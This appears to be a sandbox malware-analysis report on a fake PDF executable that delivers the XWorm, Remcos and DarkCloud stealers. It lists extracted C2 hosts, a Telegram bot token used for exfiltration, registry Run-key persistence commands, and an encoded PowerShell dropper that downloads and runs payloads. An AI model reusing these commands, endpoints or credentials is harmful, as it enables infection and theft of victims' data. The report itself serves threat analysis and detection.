darkcloud | 829fad413d5103822bc05f8cbf726203d8a57be3da077e0deaa3a901b6be1efa

Analysis

max time kernel
150s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20250610-en
resource tags

arch:x64arch:x86image:win11-20250610-enlocale:en-usos:windows11-21h2-x64system
submitted
13/10/2025, 10:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Pedido 202510130ESPA.pdf.exe
Size 698KB
Sample251013-m2wntaxxcw
SHA256 829fad413d5103822bc05f8cbf726203d8a57be3da077e0deaa3a901b6be1efa
MD5 9898b1c4dd84e3820c2a0dd239e204be
SHA1 c865d8e2212b7f111d72f2b295061fe7f0a7baa3
SHA512 fa9f609e167d85cd912c0ce31be68389d626f574becef0a8b8af796c44d174194a43fb7a956ac5584598a29ca958c843a59f7b4f4ecadc7617b95eb68acb86f3
SSDEEP 12288:2ArMDSNgFd/GxkAlJX5kcu+FdX1uxwWFEJqqvqHC54:lFgb/GiAljl1uxwWAqZw4
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

es xworm collection crypter defense_evasion discovery darkcloud darktortilla remcos xworm loader persistence rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

rency.ydns.eu:59013
wqo9.firewall-gateway.de:59013
twart.myfirewall.org:59013

Mutex

G0ZySqZ6IilUETwE

Attributes

Install_directory
%AppData%
install_file
Roaming\WD\WDUpdate2025.exe

aes.plain

Extracted

Family

darkcloud

https://api.telegram.org/bot6274587098:AAEvD64fpPpZLNdkxKF7wS-y2GX94H3OkSM/sendMessage?chat_id=6265187542

Extracted

Family

remcos

Version

3.8.0 Pro

Botnet

ES XWORM

rency.ydns.eu:2404
wqo9.firewall-gateway.de:4045
code1.ydns.eu:9302

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
System.exe
copy_folder
MicroSoft Outlook
delete_file
false
hide_file
true
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
TCWd3hQ5LP1Fcm2U5B0fn3xuWp5u5rQsC2Y-DJRO57
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
MicroSoft
take_screenshot_option
false
take_screenshot_time
5

Signatures

DarkCloud
An information stealer written in Visual Basic.
stealer darkcloud
Darkcloud family
darkcloud
Darktortilla
DarkTortilla is a highly configurable .NET based crypter that delivers a wide range of information stealers.
loader crypter darktortilla
Darktortilla family
darktortilla

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4956-109-0x0000000000400000-0x0000000000412000-memory.dmp	family_xworm

Detects Darktortilla crypter. 1 IoCs

resource	yara_rule
behavioral2/memory/2380-5-0x0000000004B90000-0x0000000004BD2000-memory.dmp	darktortilla

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2076	powershell.exe
3	2076	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
2	2076	powershell.exe
3	2076	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WDUpdate2025.lnk	WORDS.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WDUpdate2025.lnk	WORDS.exe

Executes dropped EXE 24 IoCs

pid	Process
5236	WindowsTime.exe
2212	WindowsTime.exe
5060	WindowsTime.exe
6096	POWERPOINT.exe
328	WORDS.exe
3412	NOTEPAD.exe
1092	DOCUMENT.exe
6012	WindowsTime.exe
4260	POWERPOINT.exe
5340	POWERPOINT.exe
4392	WORDS.exe
4484	NOTEPAD.exe
5704	DOCUMENT.exe
4956	WORDS.exe
1324	rtf.exe
3824	POWERPOINT.exe
4488	WORDS.exe
5660	POWERPOINT.exe
3672	rtf.exe
4528	boorishness.exe
3516	boorishness.exe
3164	DOCUMENT.exe
2096	DOCUMENT.exe
5068	rtf.exe

Loads dropped DLL 1 IoCs

pid	Process
4956	WORDS.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2340264150-4060318110-2688614100-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WORDS.exe
Key opened	\REGISTRY\USER\S-1-5-21-2340264150-4060318110-2688614100-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WORDS.exe
Key opened	\REGISTRY\USER\S-1-5-21-2340264150-4060318110-2688614100-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WORDS.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2340264150-4060318110-2688614100-1000\Software\Microsoft\Windows\CurrentVersion\Run\rtf = "C:\\Users\\Admin\\AppData\\Roaming\\rtf.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2340264150-4060318110-2688614100-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\boophilus = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\boorishness.exe"	POWERPOINT.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2340264150-4060318110-2688614100-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsTime = "C:\\Users\\Admin\\AppData\\Roaming\\WindowsTime.exe"	reg.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 5236 set thread context of 5060	5236	WindowsTime.exe	98
PID 2212 set thread context of 6012	2212	WindowsTime.exe	100
PID 328 set thread context of 4956	328	WORDS.exe	107
PID 6096 set thread context of 3824	6096	POWERPOINT.exe	114
PID 4392 set thread context of 4488	4392	WORDS.exe	122
PID 5340 set thread context of 5660	5340	POWERPOINT.exe	127
PID 1324 set thread context of 5068	1324	rtf.exe	149

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 36 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	POWERPOINT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DOCUMENT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WORDS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DOCUMENT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WORDS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rtf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	POWERPOINT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rtf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WindowsTime.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NOTEPAD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rtf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NOTEPAD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WindowsTime.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	POWERPOINT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	boorishness.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Pedido 202510130ESPA.pdf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WindowsTime.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WORDS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WORDS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WindowsTime.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 12 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5172	PING.EXE
2728	PING.EXE
5984	PING.EXE
1868	PING.EXE
1828	PING.EXE
1040	cmd.exe
5028	PING.EXE
1108	cmd.exe
5424	PING.EXE
5316	cmd.exe
4564	cmd.exe
1348	cmd.exe

Runs ping.exe 1 TTPs 7 IoCs

Remote System Discovery

T1018

pid	Process
5172	PING.EXE
2728	PING.EXE
5028	PING.EXE
5424	PING.EXE
5984	PING.EXE
1868	PING.EXE
1828	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4956	WORDS.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
2380	Pedido 202510130ESPA.pdf.exe
5236	WindowsTime.exe
5236	WindowsTime.exe
5236	WindowsTime.exe
2212	WindowsTime.exe
2212	WindowsTime.exe
2212	WindowsTime.exe
2076	powershell.exe
2076	powershell.exe
6096	POWERPOINT.exe
6096	POWERPOINT.exe
328	WORDS.exe
328	WORDS.exe
3412	NOTEPAD.exe
3412	NOTEPAD.exe
1092	DOCUMENT.exe
1092	DOCUMENT.exe
328	WORDS.exe
6096	POWERPOINT.exe
1660	powershell.exe
3412	NOTEPAD.exe
1660	powershell.exe
6096	POWERPOINT.exe
6096	POWERPOINT.exe
3412	NOTEPAD.exe
3412	NOTEPAD.exe
3412	NOTEPAD.exe
3412	NOTEPAD.exe
3412	NOTEPAD.exe
3412	NOTEPAD.exe
3412	NOTEPAD.exe
3412	NOTEPAD.exe
3412	NOTEPAD.exe
3412	NOTEPAD.exe
3412	NOTEPAD.exe
5340	POWERPOINT.exe
5340	POWERPOINT.exe
4392	WORDS.exe
3412	NOTEPAD.exe
3412	NOTEPAD.exe
3412	NOTEPAD.exe
3412	NOTEPAD.exe
3412	NOTEPAD.exe
3412	NOTEPAD.exe
4392	WORDS.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	2380	Pedido 202510130ESPA.pdf.exe
Token: SeDebugPrivilege	5236	WindowsTime.exe
Token: SeDebugPrivilege	2212	WindowsTime.exe
Token: SeDebugPrivilege	2076	powershell.exe
Token: SeDebugPrivilege	6096	POWERPOINT.exe
Token: SeDebugPrivilege	328	WORDS.exe
Token: SeDebugPrivilege	3412	NOTEPAD.exe
Token: SeDebugPrivilege	1092	DOCUMENT.exe
Token: SeDebugPrivilege	1660	powershell.exe
Token: SeDebugPrivilege	5340	POWERPOINT.exe
Token: SeDebugPrivilege	4392	WORDS.exe
Token: SeDebugPrivilege	4484	NOTEPAD.exe
Token: SeDebugPrivilege	5704	DOCUMENT.exe
Token: SeDebugPrivilege	4956	WORDS.exe
Token: SeDebugPrivilege	1324	rtf.exe
Token: SeDebugPrivilege	4488	WORDS.exe
Token: SeDebugPrivilege	3672	rtf.exe
Token: SeDebugPrivilege	4528	boorishness.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4956	WORDS.exe
5660	POWERPOINT.exe
5068	rtf.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2380 wrote to memory of 1348	2380	Pedido 202510130ESPA.pdf.exe	78
PID 2380 wrote to memory of 1348	2380	Pedido 202510130ESPA.pdf.exe	78
PID 2380 wrote to memory of 1348	2380	Pedido 202510130ESPA.pdf.exe	78
PID 1348 wrote to memory of 5172	1348	cmd.exe	80
PID 1348 wrote to memory of 5172	1348	cmd.exe	80
PID 1348 wrote to memory of 5172	1348	cmd.exe	80
PID 2380 wrote to memory of 1040	2380	Pedido 202510130ESPA.pdf.exe	81
PID 2380 wrote to memory of 1040	2380	Pedido 202510130ESPA.pdf.exe	81
PID 2380 wrote to memory of 1040	2380	Pedido 202510130ESPA.pdf.exe	81
PID 1040 wrote to memory of 2728	1040	cmd.exe	83
PID 1040 wrote to memory of 2728	1040	cmd.exe	83
PID 1040 wrote to memory of 2728	1040	cmd.exe	83
PID 1348 wrote to memory of 6008	1348	cmd.exe	84
PID 1348 wrote to memory of 6008	1348	cmd.exe	84
PID 1348 wrote to memory of 6008	1348	cmd.exe	84
PID 1040 wrote to memory of 5028	1040	cmd.exe	95
PID 1040 wrote to memory of 5028	1040	cmd.exe	95
PID 1040 wrote to memory of 5028	1040	cmd.exe	95
PID 5236 wrote to memory of 5060	5236	WindowsTime.exe	98
PID 5236 wrote to memory of 5060	5236	WindowsTime.exe	98
PID 5236 wrote to memory of 5060	5236	WindowsTime.exe	98
PID 5236 wrote to memory of 5060	5236	WindowsTime.exe	98
PID 5236 wrote to memory of 5060	5236	WindowsTime.exe	98
PID 5236 wrote to memory of 5060	5236	WindowsTime.exe	98
PID 5236 wrote to memory of 5060	5236	WindowsTime.exe	98
PID 5236 wrote to memory of 5060	5236	WindowsTime.exe	98
PID 1040 wrote to memory of 2212	1040	cmd.exe	99
PID 1040 wrote to memory of 2212	1040	cmd.exe	99
PID 1040 wrote to memory of 2212	1040	cmd.exe	99
PID 2212 wrote to memory of 6012	2212	WindowsTime.exe	100
PID 2212 wrote to memory of 6012	2212	WindowsTime.exe	100
PID 2212 wrote to memory of 6012	2212	WindowsTime.exe	100
PID 2212 wrote to memory of 6012	2212	WindowsTime.exe	100
PID 2212 wrote to memory of 6012	2212	WindowsTime.exe	100
PID 2212 wrote to memory of 6012	2212	WindowsTime.exe	100
PID 2212 wrote to memory of 6012	2212	WindowsTime.exe	100
PID 2212 wrote to memory of 6012	2212	WindowsTime.exe	100
PID 5060 wrote to memory of 2076	5060	WindowsTime.exe	101
PID 5060 wrote to memory of 2076	5060	WindowsTime.exe	101
PID 5060 wrote to memory of 2076	5060	WindowsTime.exe	101
PID 2076 wrote to memory of 6096	2076	powershell.exe	103
PID 2076 wrote to memory of 6096	2076	powershell.exe	103
PID 2076 wrote to memory of 6096	2076	powershell.exe	103
PID 2076 wrote to memory of 328	2076	powershell.exe	104
PID 2076 wrote to memory of 328	2076	powershell.exe	104
PID 2076 wrote to memory of 328	2076	powershell.exe	104
PID 2076 wrote to memory of 3412	2076	powershell.exe	105
PID 2076 wrote to memory of 3412	2076	powershell.exe	105
PID 2076 wrote to memory of 3412	2076	powershell.exe	105
PID 2076 wrote to memory of 1092	2076	powershell.exe	106
PID 2076 wrote to memory of 1092	2076	powershell.exe	106
PID 2076 wrote to memory of 1092	2076	powershell.exe	106
PID 328 wrote to memory of 4956	328	WORDS.exe	107
PID 328 wrote to memory of 4956	328	WORDS.exe	107
PID 328 wrote to memory of 4956	328	WORDS.exe	107
PID 328 wrote to memory of 4956	328	WORDS.exe	107
PID 328 wrote to memory of 4956	328	WORDS.exe	107
PID 328 wrote to memory of 4956	328	WORDS.exe	107
PID 328 wrote to memory of 4956	328	WORDS.exe	107
PID 328 wrote to memory of 4956	328	WORDS.exe	107
PID 6096 wrote to memory of 4260	6096	POWERPOINT.exe	108
PID 6096 wrote to memory of 4260	6096	POWERPOINT.exe	108
PID 6096 wrote to memory of 4260	6096	POWERPOINT.exe	108
PID 6012 wrote to memory of 1660	6012	WindowsTime.exe	109

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2340264150-4060318110-2688614100-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WORDS.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2340264150-4060318110-2688614100-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WORDS.exe

C:\Users\Admin\AppData\Local\Temp\Pedido 202510130ESPA.pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Pedido 202510130ESPA.pdf.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c ping 127.0.0.1 -n 9 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "WindowsTime" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\WindowsTime.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1348
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 9
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5172
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "WindowsTime" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\WindowsTime.exe"
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:6008
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c ping 127.0.0.1 -n 18 > nul && copy "C:\Users\Admin\AppData\Local\Temp\Pedido 202510130ESPA.pdf.exe" "C:\Users\Admin\AppData\Roaming\WindowsTime.exe" && ping 127.0.0.1 -n 18 > nul && "C:\Users\Admin\AppData\Roaming\WindowsTime.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1040
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 18
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2728
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 18
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5028
- - C:\Users\Admin\AppData\Roaming\WindowsTime.exe
    "C:\Users\Admin\AppData\Roaming\WindowsTime.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2212
  - - C:\Users\Admin\AppData\Roaming\WindowsTime.exe
      "C:\Users\Admin\AppData\Roaming\WindowsTime.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:6012
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBpAGcAdwAuAG0AeQBmAGkAcgBlAHcAYQBsAGwALgBvAHIAZwAvAFAATwBXAEUAUgBQAE8ASQBOAFQALgBlAHgAZQAnACwAIAA8ACMAcABiAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAG4AdgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAGkAcgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBQAE8AVwBFAFIAUABPAEkATgBUAC4AZQB4AGUAJwApACkAPAAjAHUAcwBlACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBpAGcAdwAuAG0AeQBmAGkAcgBlAHcAYQBsAGwALgBvAHIAZwAvAFcATwBSAEQAUwAuAGUAeABlACcALAAgADwAIwB5AGkAcQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHEAZABhACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGoAcwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFcATwBSAEQAUwAuAGUAeABlACcAKQApADwAIwBwAGUAaQAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYgBtAGgALQBnAGwAbwBiAGEAbAAuAG0AeQBmAGkAcgBlAHcAYQBsAGwALgBvAHIAZwAvAE4ATwBUAEUAUABBAEQALgBlAHgAZQAnACwAIAA8ACMAcgB5AGUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBnAHMAZgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBuAHMAbgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBOAE8AVABFAFAAQQBEAC4AZQB4AGUAJwApACkAPAAjAHkAbQBtACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAG0AaAAtAGcAbABvAGIAYQBsAC4AbQB5AGYAaQByAGUAdwBhAGwAbAAuAG8AcgBnAC8ARABPAEMAVQBNAEUATgBUAC4AZQB4AGUAJwAsACAAPAAjAGMAZQBtACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdgB6AHYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAegBmAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARABPAEMAVQBNAEUATgBUAC4AZQB4AGUAJwApACkAPAAjAGEAeQBiACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAcQBhACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBuAHUAegAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBQAE8AVwBFAFIAUABPAEkATgBUAC4AZQB4AGUAJwApADwAIwB1AHoAcwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB5AHUAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAaABrAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVwBPAFIARABTAC4AZQB4AGUAJwApADwAIwB2AHgAcwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBqAHIAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcABsAGsAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATgBPAFQARQBQAEEARAAuAGUAeABlACcAKQA8ACMAdQBzAHIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYQBoAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAaQBrACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEQATwBDAFUATQBFAE4AVAAuAGUAeABlACcAKQA8ACMAdgB3AHoAIwA+AA=="
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1660
      - C:\Users\Admin\AppData\Roaming\POWERPOINT.exe
        
        "C:\Users\Admin\AppData\Roaming\POWERPOINT.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5340
        
        C:\Users\Admin\AppData\Roaming\POWERPOINT.exe
        
        "C:\Users\Admin\AppData\Roaming\POWERPOINT.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:5660
      - C:\Users\Admin\AppData\Roaming\WORDS.exe
        
        "C:\Users\Admin\AppData\Roaming\WORDS.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4392
        
        C:\Users\Admin\AppData\Roaming\WORDS.exe
        
        "C:\Users\Admin\AppData\Roaming\WORDS.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4488
      - C:\Users\Admin\AppData\Roaming\NOTEPAD.exe
        
        "C:\Users\Admin\AppData\Roaming\NOTEPAD.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4484
